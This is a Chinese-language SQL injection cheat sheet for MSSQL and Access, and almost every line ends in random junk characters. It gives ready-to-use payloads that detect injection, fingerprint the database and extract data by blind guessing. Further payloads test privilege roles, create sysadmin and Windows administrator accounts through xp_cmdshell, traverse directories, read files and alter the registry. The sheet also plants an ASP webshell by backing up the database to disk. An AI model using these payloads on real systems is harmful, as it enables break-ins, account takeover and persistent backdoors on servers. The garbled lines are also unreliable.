1.判断是否有注入;and 1=1 ;and 1=2 4}=]QQoE
2.初步判断是否是mssql ;and user>0 H!s &]b
GJH6b7I
3.注入参数是字符'and [查询条件] and ''=' #n0P'@d,r
`U?;9!|;6
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 1_yUv7uhX
Ip<STz]-
5.判断数据库系统 h05
~ g
[kn`~hI
;and (select count(*) from sysobjects)>0 mssql LM<OYRB(
l tQ:c
;and (select count(*) from msysobjects)>0 access %n{E/06f
P$w0.XZa
.YLg^JfZ
Jzfzy0$
6.猜数据库 ;and (select Count(*) from [数据库名])>0 &)`A4bf%
M22^.,Z
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 kgYa0 e5
YSeXCJ:Iy
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 8)M .W
)5e}Id
9.(1)猜字段的ascii值(access) T!J\Dm-
c\-I+lMBi
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 N/^r9Nu
_H%ylAt1j
(2)猜字段的ascii值(mssql) rTK/WZs8
YY$K;t{dk
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 6g7 X1C
9 ?h)U|J?G
10.测试权限结构(mssql) [j-]n#E=9y
Cee?%NaTS
\Mt(9jNK
i7Y96]
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- MiS$Y
$ V}s3
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9\|3Gm_
\@tt$ m%
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- f{ENSUtCrR
@hg1&pfxZ<
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Elm/T]6
pdmeB
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- =|am=Q?Q
+D$\^ <#
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- X0p=jBye~>
<.RgMPi
;and 1=(select IS_MEMBER('db_owner'));-- X}g!Lp
a i}8+L8-
!3d+"tL
S
a o\+%s
11.添加mssql和系统的帐户 Qm ;ip E
iB[%5i-
;exec master.dbo.sp_addlogin username;-- gdHPi;
;exec master.dbo.sp_password null,username,password;-- HR)joD*q;[
#;2Ju'e#z
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- F)
< f8F
=V%s^
;exec master.dbo.xp_cmdshell 'net user username password aBol9`6
u["Pg
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- @cSz!E}
-1Tws|4gc
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Q%q_
a?&oOQd-iP
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- jC <<S
glPOW
0xZq?9a
mu|#(u
12.(1)遍历目录 E^Q|v45d
|o=eS&)
;create table dirs(paths varchar(100), id int) S}ZM;M
}U%2)M
;insert dirs exec master.dbo.xp_dirtree 'c:\' )2u=U9
QvjsI;CQ-
;and (select top 1 paths from dirs)>0 v8_HaA$5Y
D|6prC%/
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) j9%=8Dn.<
uppA`>
#ZF|5r +
*\:u}'[
(2)遍历目录 :] {+3A
wD}[XE?S
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- }.MJVB3
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 o= N= W
~kw[Aw3?D\
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 MQw{^6Z>1
LW0't}
z
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 w\s$
l9?]t;
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 !,INrl[
~h tV*R
|"vqM)V$
*W%HTt"N
13.mssql中的存储过程 l`fjz-eE
h#'(UZ
xp_regenumvalues 注册表根键, 子键 1}BW
F;5.nKo
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 }3 RqaIY}
= w_y<V4
xp_regread 根键,子键,键值名 X=mzo\Aos
+n9]c~g!T0
;exec xp_regread bgL`FW i3
)z$VQ=]"
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 uFL~^vz
7*~
rhQ
xp_regwrite 根键,子键, 值名, 值类型, 值 w\8grEj
Cf
J@|Rh
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 xG\&QE
*ZF7m_8u{
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 M[@).4h
(X QgOR#
xp_regdeletevalue 根键,子键,值名 &
/UcFB
?L+@?fVN
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 a]BnHLx
;v*$6DIC5
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 n3jA[p:
x]XhWScr'
%'%r.
h 5t,5e}
14.mssql的backup创建webshell _:?)2 NV
]aXCi"fMs
use model v/}M_E
wQlK[F]!>
create table cmd(str image); =>n:\_*M
G*3O5m
insert into cmd(str) values (''); ?)'j;1_=E3
[%
KBc}
backup database model to disk='c:\l.asp'; Uw)?u$+
P
"!9~77
#4Xe zj,g*
wVP{R3
15.mssql内置函数 w}K<,5I>
+\?#8U/k
;and (select @@version)>0 获得Windows的版本号 z2A7:[
`.>2h}op
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Gdi1lYu6V
IM7k\
;and (select user_name())>0 爆当前系统的连接用户 0bzD-K4WVd
6Z\[{S];
;and (select db_name())>0 得到当前连接的数据库 $._p !, <
;.'2ZNt2
v%VCFJ
VSc;}LH
16.简洁的webshell /E@LnKe
#3f\,4K5
use model \\Fl,'
r8pTtf#Q
create table cmd(str image); GCkc[]2p
qXn%c"
insert into cmd(str) values (''); M%/ML=eLi
/<\>j+SC
backup database model to disk='g:\wwwtest\l.asp';